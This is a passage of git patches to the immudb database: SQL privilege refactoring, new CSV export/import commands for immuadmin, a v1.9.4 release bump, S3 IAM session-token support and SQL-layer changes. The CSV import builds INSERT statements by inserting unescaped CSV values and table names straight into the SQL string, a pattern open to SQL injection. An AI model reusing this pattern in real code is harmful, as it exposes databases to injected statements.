*schema.Permission { for _, perm := range permissions { if perm.Database == database { @@ -251,13 +240,9 @@ func (h *multidbHandler) RevokeSQLPrivileges(ctx context.Context, database, user } func (h *multidbHandler) changeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege, action schema.PermissionAction) error { - ps := make([]schema.SQLPrivilege, len(privileges)) + ps := make([]string, len(privileges)) for i, p := range privileges { - pp, err := schema.SQLPrivilegeToProto(p) - if err != nil { - return err - } - ps[i] = pp + ps[i] = string(p) } _, err := h.s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ diff --git a/pkg/server/user.go b/pkg/server/user.go index f360268d7b..b40299f546 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -255,12 +255,12 @@ func unmarshalSchemaUser(data []byte) (*schema.User, error) { if err := json.Unmarshal(data, &u); err != nil { return nil, err } + u.SetSQLPrivileges() return toSchemaUser(&u) } func toSchemaUser(u *auth.User) (*schema.User, error) { permissions := make([]*schema.Permission, len(u.Permissions)) - for i, val := range u.Permissions { permissions[i] = &schema.Permission{ Database: val.Database, @@ -268,29 +268,9 @@ func toSchemaUser(u *auth.User) (*schema.User, error) { } } - var privileges []schema.SQLPrivilege - - if u.HasPrivileges { - privileges = make([]schema.SQLPrivilege, len(u.SQLPrivileges)) - for i, p := range u.SQLPrivileges { - pp, err := schema.SQLPrivilegeToProto(sql.SQLPrivilege(p.Privilege)) - if err != nil { - return nil, err - } - privileges[i] = pp - } - } else { - privileges = make([]schema.SQLPrivilege, 0) - for _, perm := range u.Permissions { - sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(permissionFromCode(perm.Permission)) - for _, sqlPrivilege := range sqlPrivileges { - schemaPrivilege, err := schema.SQLPrivilegeToProto(sqlPrivilege) - if err != nil { - return nil, err - } - privileges = append(privileges, schemaPrivilege) - } - } + privileges := make([]*schema.SQLPrivilege, len(u.SQLPrivileges)) + for i, p := range u.SQLPrivileges { + privileges[i] = &schema.SQLPrivilege{Database: p.Database, Privilege: p.Privilege} } return &schema.User{ @@ -448,6 +428,8 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() + targetUser.SQLPrivileges = defaultSQLPrivilegesForPermission(r.Database, r.Permission) + targetUser.HasPrivileges = true if err := s.saveUser(ctx, targetUser); err != nil { return nil, err @@ -537,20 +519,11 @@ func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPa return nil, nil, err } - sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(permissionFromCode(permission)) // TODO: maybe move to auth package - privileges := make([]auth.SQLPrivilege, len(sqlPrivileges)) - for i, p := range sqlPrivileges { - privileges[i] = auth.SQLPrivilege{ - Database: database, - Privilege: string(p), - } - } - userdata.Active = true userdata.HasPrivileges = true userdata.Username = string(username) userdata.Permissions = append(userdata.Permissions, auth.Permission{Permission: permission, Database: database}) - userdata.SQLPrivileges = privileges + userdata.SQLPrivileges = defaultSQLPrivilegesForPermission(database, permission) userdata.CreatedBy = createdBy userdata.CreatedAt = time.Now() @@ -599,6 +572,7 @@ func (s *ImmuServer) getUser(ctx context.Context, username []byte) (*auth.User, return nil, err } + usr.SetSQLPrivileges() return &usr, nil } @@ -690,9 +664,8 @@ func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQ } privileges := make([]string, len(r.Privileges)) - for i := range r.Privileges { - p := schema.SQLPrivilegeFromProto(r.Privileges[i]) - if p == "" { + for i, p := range r.Privileges { + if !isValidPrivilege(p) { return nil, status.Errorf(codes.InvalidArgument, "SQL privilege not recognized") } privileges[i] = string(p) @@ -715,12 +688,17 @@ func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQ // check if user exists targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { - return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) + return nil, status.Errorf(codes.NotFound, "user %s not found", r.Username) } // target user should be active if !targetUser.Active { - return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", string(r.Username)) + return nil, status.Errorf(codes.FailedPrecondition, "user %s is not active", r.Username) + } + + // target user should have permission on the requested database + if targetUser.WhichPermission(r.Database) == auth.PermissionNone { + return nil, status.Errorf(codes.FailedPrecondition, "user %s doesn't have permission on database %s", r.Username, r.Database) } // check if requesting user has permission on this database @@ -738,6 +716,7 @@ func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQ targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() + targetUser.HasPrivileges = true if err := s.saveUser(ctx, targetUser); err != nil { return nil, err @@ -750,3 +729,29 @@ func (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQ return &schema.ChangeSQLPrivilegesResponse{}, nil } + +func isValidPrivilege(p string) bool { + switch sql.SQLPrivilege(p) { + case sql.SQLPrivilegeSelect, + sql.SQLPrivilegeCreate, + sql.SQLPrivilegeInsert, + sql.SQLPrivilegeUpdate, + sql.SQLPrivilegeDelete, + sql.SQLPrivilegeDrop, + sql.SQLPrivilegeAlter: + return true + } + return false +} + +func defaultSQLPrivilegesForPermission(database string, permission uint32) []auth.SQLPrivilege { + sqlPrivileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(permission)) + privileges := make([]auth.SQLPrivilege, len(sqlPrivileges)) + for i, p := range sqlPrivileges { + privileges[i] = auth.SQLPrivilege{ + Database: database, + Privilege: string(p), + } + } + return privileges +} diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 3f43ecf211..710b3bf0f1 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -274,10 +274,14 @@ func TestServerCreateUser(t *testing.T) { ctx, err := loginAsUser(s, auth.SysAdminUsername, auth.SysAdminPassword) require.NoError(t, err) - newdb := &schema.DatabaseSettings{ + _, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{ DatabaseName: testDatabase, - } - _, err = s.CreateDatabaseWith(ctx, newdb) + }) + require.NoError(t, err) + + _, err = s.CreateDatabaseWith(ctx, &schema.DatabaseSettings{ + DatabaseName: auth.SysAdminUsername, + }) require.NoError(t, err) _, err = s.CreateUser(ctx, &schema.CreateUserRequest{ @@ -288,11 +292,19 @@ func TestServerCreateUser(t *testing.T) { }) require.NoError(t, err) + _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ + Action: schema.PermissionAction_GRANT, + Username: string(testUsername), + Database: auth.SysAdminUsername, + Privileges: []string{string(sql.SQLPrivilegeUpdate)}, + }) + require.ErrorContains(t, err, fmt.Sprintf("user %s doesn't have permission on database %s", testUsername, auth.SysAdminUsername)) + _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ Action: schema.PermissionAction_GRANT, Username: string(testUsername), Database: testDatabase, - Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_UPDATE}, + Privileges: []string{string(sql.SQLPrivilegeUpdate)}, }) require.NoError(t, err) @@ -302,7 +314,7 @@ func TestServerCreateUser(t *testing.T) { u := users.Users[1] require.Equal(t, string(u.User), string(testUsername)) - require.Equal(t, u.SqlPrivileges, []schema.SQLPrivilege{schema.SQLPrivilege_SELECT, schema.SQLPrivilege_UPDATE}) + require.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: testDatabase, Privilege: string(sql.SQLPrivilegeSelect)}, {Database: testDatabase, Privilege: string(sql.SQLPrivilegeUpdate)}}) userCtx, err := loginAsUser(s, string(testUsername), string(testPassword)) require.NoError(t, err) @@ -311,7 +323,7 @@ func TestServerCreateUser(t *testing.T) { Action: schema.PermissionAction_REVOKE, Username: string(testUsername), Database: testDatabase, - Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}, + Privileges: []string{string(sql.SQLPrivilegeSelect)}, }) require.ErrorContains(t, err, "changing your own privileges is not allowed") @@ -319,7 +331,7 @@ func TestServerCreateUser(t *testing.T) { Action: schema.PermissionAction_REVOKE, Username: auth.SysAdminUsername, Database: testDatabase, - Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}, + Privileges: []string{string(sql.SQLPrivilegeSelect)}, }) require.ErrorContains(t, err, "changing sysadmin privileges is not allowed") @@ -330,7 +342,7 @@ func TestServerCreateUser(t *testing.T) { Action: schema.PermissionAction_REVOKE, Username: string(testUsername), Database: testDatabase, - Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT, schema.SQLPrivilege_UPDATE}, + Privileges: []string{string(sql.SQLPrivilegeSelect), string(sql.SQLPrivilegeUpdate)}, }) require.NoError(t, err) @@ -358,7 +370,7 @@ func TestServerCreateUser(t *testing.T) { func TestUnmarshalUserWithNoPrivileges(t *testing.T) { u, err := unmarshalSchemaUser([]byte(`{"hasPrivileges": false, "permissions": [{"permission": 1, "database": "immudb"}]}`)) require.NoError(t, err) - require.Equal(t, u.SqlPrivileges, []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}) + require.Equal(t, u.SqlPrivileges, []*schema.SQLPrivilege{{Database: "immudb", Privilege: string(sql.SQLPrivilegeSelect)}}) } func loginAsUser(s *ImmuServer, username, password string) (context.Context, error) { From 9237a8300c22a226a23b5548f95f210a2e23ddf3 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 24 Jul 2024 15:09:26 +0200 Subject: [PATCH 1041/1062] Implement CSV import/export of tables Signed-off-by: Stefano Scafiti --- cmd/immuadmin/command/commandline.go | 1 + cmd/immuadmin/command/database.go | 236 +++++++++++++++++++++++++++ pkg/api/schema/sql.go | 4 +- pkg/api/schema/sql_test.go | 2 +- 4 files changed, 240 insertions(+), 3 deletions(-) diff --git a/cmd/immuadmin/command/commandline.go b/cmd/immuadmin/command/commandline.go index adab90fb63..0f86965a6f 100644 --- a/cmd/immuadmin/command/commandline.go +++ b/cmd/immuadmin/command/commandline.go @@ -96,6 +96,7 @@ func (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command { cl.stats(rootCmd) cl.serverConfig(rootCmd) cl.database(rootCmd) + return rootCmd } diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 2e5ca1a272..53305dbcc9 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -17,16 +17,22 @@ limitations under the License. package immuadmin import ( + "encoding/csv" "fmt" + "io" + "os" + "path" "strconv" "strings" "time" "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/spf13/cobra" @@ -386,10 +392,240 @@ func (cl *commandline) database(cmd *cobra.Command) { dbCmd.AddCommand(flushCmd) dbCmd.AddCommand(compactCmd) dbCmd.AddCommand(truncateCmd) + dbCmd.AddCommand(cl.createExportCmd()) + dbCmd.AddCommand(cl.createImportCmd()) cmd.AddCommand(dbCmd) } +func (cl *commandline) createExportCmd() *cobra.Command { + exportCmd := &cobra.Command{ + Use: "export", + Short: "Dump an SQL table to a CSV file", + Aliases: []string{"e"}, + ArgAliases: []string{"table"}, + PersistentPreRunE: cl.ConfigChain(cl.connect), + PersistentPostRun: cl.disconnect, + RunE: func(cmd *cobra.Command, args []string) error { + table := args[0] + + outputPath, _ := cmd.Flags().GetString("o") + if outputPath == "" { + wd, err := os.Getwd() + if err != nil { + return err + } + outputPath = path.Join(wd, table) + ".csv" + } + + reader, err := cl.immuClient.SQLQueryReader(cl.context, fmt.Sprintf("SELECT * FROM %s", table), nil) + if err != nil { + return err + } + defer reader.Close() + + csvFile, err := os.Create(outputPath) + if err != nil { + return err + } + defer csvFile.Close() + + sep, err := cmd.Flags().GetString("s") + if err != nil { + return err + } + if len(sep) != 1 { + return fmt.Errorf("invalid separator") + } + + writer := csv.NewWriter(csvFile) + writer.Comma = rune(sep[0]) + writer.UseCRLF = true + defer writer.Flush() + + cols := reader.Columns() + + colNames := make([]string, len(cols)) + for i, col := range cols { + colNames[i] = formatColName(col.Name) + } + + if err := writer.Write(colNames); err != nil { + return err + } + + out := make([]string, len(cols)) + for reader.Next() { + row, err := reader.Read() + if err != nil { + return err + } + + if err := rowToCSV(row, cols, out); err != nil { + return err + } + + if err := writer.Write(out); err != nil { + return err + } + } + return writer.Error() + }, + Args: cobra.ExactArgs(1), + } + exportCmd.Flags().String("o", "", "output") + exportCmd.Flags().String("s", ",", "separator") + + return exportCmd +} + +func rowToCSV(row client.Row, cols []client.Column, out []string) error { + for i, v := range row { + colType := cols[i].Type + rv, err := renderValue(v, colType) + if err != nil { + return err + } + out[i] = rv + } + return nil +} + +func renderValue(v interface{}, colType string) (string, error) { + switch colType { + case sql.VarcharType, sql.JSONType, sql.UUIDType: + s, isStr := v.(string) + if !isStr { + return "", fmt.Errorf("invalid value received") + } + return s, nil + default: + sqlVal, err := schema.AsSQLValue(v) + if err != nil { + return "", err + } + return schema.RenderValue(sqlVal.Value), nil + } +} + +func (cl *commandline) createImportCmd() *cobra.Command { + importCmd := &cobra.Command{ + Use: "import", + Short: "Insert data to an existing table from a csv file", + Aliases: []string{"i"}, + ArgAliases: []string{"file"}, + PersistentPreRunE: cl.ConfigChain(cl.connect), + PersistentPostRun: cl.disconnect, + RunE: func(cmd *cobra.Command, args []string) error { + inputPath := args[0] + + csvFile, err := os.Open(inputPath) + if err != nil { + return err + } + defer csvFile.Close() + + sep, err := cmd.Flags().GetString("s") + if err != nil { + return err + } + if len(sep) != 1 { + return fmt.Errorf("invalid separator") + } + + reader := csv.NewReader(csvFile) + reader.Comma = rune(sep[0]) + reader.ReuseRecord = true + + hasHeader, err := cmd.Flags().GetBool("h") + if err != nil { + return err + } + + table, err := cmd.Flags().GetString("t") + if err != nil { + return err + } + if table == "" { + return fmt.Errorf("table name not specified") + } + + if hasHeader { + _, err := reader.Read() + if err != nil && err != io.EOF { + return nil + } + } + + // fetch column information + res, err := cl.immuClient.SQLQuery(cl.context, fmt.Sprintf("SELECT * FROM %s WHERE 1 = 0", table), nil, false) + if err != nil { + return err + } + + cols := make([]string, len(res.Columns)) + for i, col := range res.Columns { + cols[i] = formatColName(col.Name) + } + + row, err := reader.Read() + for err == nil { + if len(row) != len(cols) { + return fmt.Errorf("wrong number of columns") + } + + for i, v := range row { + row[i] = formatInsertValue(v, res.Columns[i].Type) + } + + _, err = cl.immuClient.SQLExec( + cl.context, + fmt.Sprintf("INSERT INTO %s(%s) VALUES (%s)", table, strings.Join(cols, ","), strings.Join(row, ",")), + nil, + ) + if err != nil { + return err + } + row, err = reader.Read() + } + if err != io.EOF { + return err + } + return nil + }, + Args: cobra.ExactArgs(1), + } + importCmd.Flags().String("t", "", "table") + importCmd.Flags().Bool("h", true, "interpret the first column as header") + importCmd.Flags().String("s", ",", "separator") + + return importCmd +} + +func formatColName(col string) string { + idx := strings.Index(col, ".") + if idx >= 0 { + return col[idx+1 : len(col)-1] + } + return col +} + +func formatInsertValue(v string, colType string) string { + if v == "NULL" { + return v + } + + switch colType { + case sql.VarcharType: + return fmt.Sprintf("'%s'", v) + case sql.TimestampType, sql.JSONType, sql.UUIDType: + return fmt.Sprintf("CAST ('%s' AS %s)", v, colType) + case sql.BLOBType: + return fmt.Sprintf("x'%s'", v) + } + return v +} + func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNullableSettings, error) { var err error diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 74999b3189..f2c13b4d7f 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -32,7 +32,7 @@ func EncodeParams(params map[string]interface{}) ([]*NamedParam, error) { i := 0 for n, v := range params { - sqlVal, err := asSQLValue(v) + sqlVal, err := AsSQLValue(v) if err != nil { return nil, err } @@ -52,7 +52,7 @@ func NamedParamsFromProto(protoParams []*NamedParam) map[string]interface{} { return params } -func asSQLValue(v interface{}) (*SQLValue, error) { +func AsSQLValue(v interface{}) (*SQLValue, error) { if v == nil { return &SQLValue{Value: &SQLValue_Null{}}, nil } diff --git a/pkg/api/schema/sql_test.go b/pkg/api/schema/sql_test.go index 06aac50e33..b2b05f51b5 100644 --- a/pkg/api/schema/sql_test.go +++ b/pkg/api/schema/sql_test.go @@ -106,7 +106,7 @@ func TestAsSQLValue(t *testing.T) { }, } { t.Run(d.n, func(t *testing.T) { - sqlVal, err := asSQLValue(d.val) + sqlVal, err := AsSQLValue(d.val) require.EqualValues(t, d.sqlVal, sqlVal) if d.isErr { require.ErrorIs(t, err, sql.ErrInvalidValue) From 76cd08a0ec757a3dc498d584799d15df1aa5a9ef Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 25 Jul 2024 22:09:48 +0200 Subject: [PATCH 1042/1062] release v1.9.4 --- CHANGELOG.md | 9 ++++++++- Makefile | 2 +- helm/Chart.yaml | 4 ++-- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0946d6f919..832669287e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9.4] - 2024-07-24 +### Bug Fixes +- set mattermost payload + + ## [v1.9.3] - 2024-05-23 ### Changes @@ -3879,7 +3885,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.3...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.4...HEAD +[v1.9.4]: https://github.com/vchain-us/immudb/compare/v1.9.3...v1.9.4 [v1.9.3]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2...v1.9.3 [v1.9DOM.2]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2-RC1...v1.9DOM.2 [v1.9DOM.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...v1.9DOM.2-RC1 diff --git a/Makefile b/Makefile index cf19c6b4e8..6584a451d6 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9.3 +VERSION=1.9.4 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index ee36d2b9d0..763bc24e71 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9.3 -appVersion: "1.9.3" +version: 1.9.4 +appVersion: "1.9.4" From 8b5f6518e367f22646cd51c864d0b6474e3d86f8 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 7 Aug 2024 12:11:54 +0200 Subject: [PATCH 1043/1062] fix(pkg/pgsql/server): close row readers to release resources Signed-off-by: Stefano Scafiti --- pkg/pgsql/server/query_machine.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index e4bd8cbe9b..0de4e4bedd 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -312,6 +312,7 @@ func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, res if err != nil { return err } + defer reader.Close() cols, err := reader.Columns(s.ctx) if err != nil { @@ -372,10 +373,13 @@ func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]sql.ColDescriptor if err != nil { return nil, nil, err } + resCols, err = rr.Columns(s.ctx) if err != nil { return nil, nil, err } + + rr.Close() } r, err := s.db.InferParametersPrepared(s.ctx, s.tx, stmt) From 8f57d65c6e68fb6b058dfc1d518a25e08a505dde Mon Sep 17 00:00:00 2001 From: Lorenzo Pasco Date: Wed, 7 Aug 2024 16:30:37 +0200 Subject: [PATCH 1044/1062] Fix AWS Signature V4 using IAM role --- embedded/appendable/remoteapp/remote_app.go | 2 +- embedded/remotestorage/s3/s3.go | 49 ++++++++++++--------- 2 files changed, 29 insertions(+), 22 deletions(-) diff --git a/embedded/appendable/remoteapp/remote_app.go b/embedded/appendable/remoteapp/remote_app.go index bf86d16637..68c8a66e3d 100644 --- a/embedded/appendable/remoteapp/remote_app.go +++ b/embedded/appendable/remoteapp/remote_app.go @@ -87,7 +87,7 @@ func Open(path string, remotePath string, storage remotestorage.Storage, opts *O return nil, ErrIllegalArguments } - log.Printf("Opening remote storage at %s%s", storage, remotePath) + log.Printf("Opening remote storage at %s", remotePath) mainContext, mainCancelFunc := context.WithCancel(context.Background()) diff --git a/embedded/remotestorage/s3/s3.go b/embedded/remotestorage/s3/s3.go index 7363079535..3a9e2f4edb 100644 --- a/embedded/remotestorage/s3/s3.go +++ b/embedded/remotestorage/s3/s3.go @@ -52,7 +52,8 @@ type Storage struct { prefix string location string httpClient *http.Client - + sessionToken string + awsInstanceMetadataURL string awsCredsRefreshPeriod time.Duration } @@ -232,6 +233,11 @@ func (s *Storage) s3SignedRequestV4( req.Header.Set("X-Amz-Date", timeISO8601) req.Header.Set("X-Amz-Content-Sha256", contentSha256) + + if s.S3RoleEnabled { + req.Header.Set("X-Amz-Security-Token", s.sessionToken) + } + if contentType != "" { req.Header.Set("Content-Type", contentType) } @@ -777,7 +783,7 @@ func (s *Storage) getRoleCredentials() error { } var err error - s.accessKeyID, s.secretKey, err = s.requestCredentials() + s.accessKeyID, s.secretKey, s.sessionToken, err = s.requestCredentials() if err != nil { return err } @@ -787,12 +793,12 @@ func (s *Storage) getRoleCredentials() error { for { select { case _ = <-s3CredentialsRefreshTicker.C: - accessKeyID, secretKey, err := s.requestCredentials() + accessKeyID, secretKey, sessionToken, err := s.requestCredentials() if err != nil { log.Printf("S3 role credentials lookup failed with an error: %v", err) continue } - s.accessKeyID, s.secretKey = accessKeyID, secretKey + s.accessKeyID, s.secretKey, s.sessionToken = accessKeyID, secretKey, sessionToken } } }() @@ -800,26 +806,26 @@ func (s *Storage) getRoleCredentials() error { return nil } -func (s *Storage) requestCredentials() (string, string, error) { +func (s *Storage) requestCredentials() (string, string, string, error) { tokenReq, err := http.NewRequest("PUT", fmt.Sprintf("%s%s", s.awsInstanceMetadataURL, "/latest/api/token", ), nil) if err != nil { - return "", "", errors.New("cannot form metadata token request") + return "", "", "", errors.New("cannot form metadata token request") } tokenReq.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600") tokenResp, err := http.DefaultClient.Do(tokenReq) if err != nil { - return "", "", errors.New("cannot get metadata token") + return "", "", "", errors.New("cannot get metadata token") } defer tokenResp.Body.Close() token, err := ioutil.ReadAll(tokenResp.Body) if err != nil { - return "", "", errors.New("cannot read metadata token") + return "", "", "", errors.New("cannot read metadata token") } role := s.s3Role @@ -829,31 +835,31 @@ func (s *Storage) requestCredentials() (string, string, error) { "/latest/meta-data/iam/info", ), nil) if err != nil { - return "", "", errors.New("cannot form role name request") + return "", "", "", errors.New("cannot form role name request") } roleReq.Header.Set("X-aws-ec2-metadata-token", string(token)) roleResp, err := http.DefaultClient.Do(roleReq) if err != nil { - return "", "", errors.New("cannot get role name") + return "", "", "", errors.New("cannot get role name") } defer roleResp.Body.Close() creds, err := ioutil.ReadAll(roleResp.Body) if err != nil { - return "", "", errors.New("cannot read role name") + return "", "", "", errors.New("cannot read role name") } var metadata struct { InstanceProfileArn string `json:"InstanceProfileArn"` } if err := json.Unmarshal(creds, &metadata); err != nil { - return "", "", errors.New("cannot parse role name") + return "", "", "", errors.New("cannot parse role name") } match := arnRoleRegex.FindStringSubmatch(metadata.InstanceProfileArn) if len(match) < 2 { - return "", "", ErrCredentialsCannotBeFound + return "", "", "", ErrCredentialsCannotBeFound } role = match[1] @@ -865,30 +871,31 @@ func (s *Storage) requestCredentials() (string, string, error) { role, ), nil) if err != nil { - return "", "", errors.New("cannot form role credentials request") + return "", "", "", errors.New("cannot form role credentials request") } credsReq.Header.Set("X-aws-ec2-metadata-token", string(token)) credsResp, err := http.DefaultClient.Do(credsReq) if err != nil { - return "", "", errors.New("cannot get role credentials") + return "", "", "", errors.New("cannot get role credentials") } defer credsResp.Body.Close() - creds, err := ioutil.ReadAll(credsReq.Body) + creds, err := ioutil.ReadAll(credsResp.Body) if err != nil { - return "", "", errors.New("cannot read role credentials") + return "", "", "", errors.New("cannot read role credentials") } var credentials struct { - AccessKeyID string `json:"AccessKeyId"` - SecretAccessKey string `json:"SecretAccessKey"` + AccessKeyID string `json:"AccessKeyId"` + SecretAccessKey string `json:"SecretAccessKey"` + SessionToken string `json:"Token"` } if err := json.Unmarshal(creds, &credentials); err != nil { - return "", "", errors.New("cannot parse role credentials") + return "", "", "", errors.New("cannot parse role credentials") } - return credentials.AccessKeyID, credentials.SecretAccessKey, nil + return credentials.AccessKeyID, credentials.SecretAccessKey, credentials.SessionToken, nil } var _ remotestorage.Storage = (*Storage)(nil) From c0b6e0122acc86948819e596182728b12cdea625 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 12 Aug 2024 14:26:46 +0200 Subject: [PATCH 1045/1062] chore(embedded/sql): improvements on SQL layer. - Allow selecting generic expressions; - Refactor FnCall implementation; - Add support for INSERT INTO SELECT statements; - Add more core builtin functions; Signed-off-by: Stefano Scafiti --- embedded/document/engine.go | 12 +- embedded/sql/aggregated_values.go | 20 + embedded/sql/engine.go | 1 - embedded/sql/engine_test.go | 346 +++++++++- embedded/sql/functions.go | 334 +++++++++ embedded/sql/grouped_row_reader.go | 28 +- embedded/sql/grouped_row_reader_test.go | 6 +- embedded/sql/json_type.go | 31 +- embedded/sql/num_operator.go | 21 +- embedded/sql/num_operator_test.go | 6 + embedded/sql/parser.go | 1 + embedded/sql/parser_test.go | 422 ++++++----- embedded/sql/proj_row_reader.go | 121 ++-- embedded/sql/sql_grammar.y | 55 +- embedded/sql/sql_parser.go | 884 ++++++++++++------------ embedded/sql/stmt.go | 403 +++++++---- embedded/sql/stmt_test.go | 242 ++++++- embedded/sql/type_conversion.go | 38 +- embedded/sql/values_row_reader.go | 24 +- embedded/sql/values_row_reader_test.go | 14 +- embedded/store/options.go | 6 +- 21 files changed, 2129 insertions(+), 886 deletions(-) create mode 100644 embedded/sql/functions.go diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 4e7731e18e..553a5b9b4b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -748,10 +748,10 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti ctx, sqlTx, []sql.SQLStmt{ - sql.NewUpserIntoStmt( + sql.NewUpsertIntoStmt( collectionName, colNames, - rows, + sql.NewValuesDataSource(rows), isInsert, nil, ), @@ -879,7 +879,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, username string, query *p } queryStmt := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.CollectionName, documentIdFieldName)}, + []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, documentIdFieldName)}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), @@ -982,7 +982,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs } op := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.CollectionName, DocumentBLOBField)}, + []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, DocumentBLOBField)}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), @@ -1023,7 +1023,7 @@ func (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, of } ds := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.CollectionName, table.Cols()[0].Name())}, + []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, table.Cols()[0].Name())}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), @@ -1032,7 +1032,7 @@ func (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, of ) op := sql.NewSelectStmt( - []sql.Selector{sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}, + []sql.TargetEntry{{Exp: sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}}, ds, nil, nil, diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index 6935ab54bb..3182ac9074 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -102,6 +102,10 @@ func (v *CountValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedVal return nil, ErrUnexpected } +func (v *CountValue) selectors() []Selector { + return nil +} + func (v *CountValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -198,6 +202,10 @@ func (v *SumValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue return nil, ErrUnexpected } +func (v *SumValue) selectors() []Selector { + return nil +} + func (v *SumValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -301,6 +309,10 @@ func (v *MinValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue return nil, ErrUnexpected } +func (v *MinValue) selectors() []Selector { + return nil +} + func (v *MinValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -404,6 +416,10 @@ func (v *MaxValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue return nil, ErrUnexpected 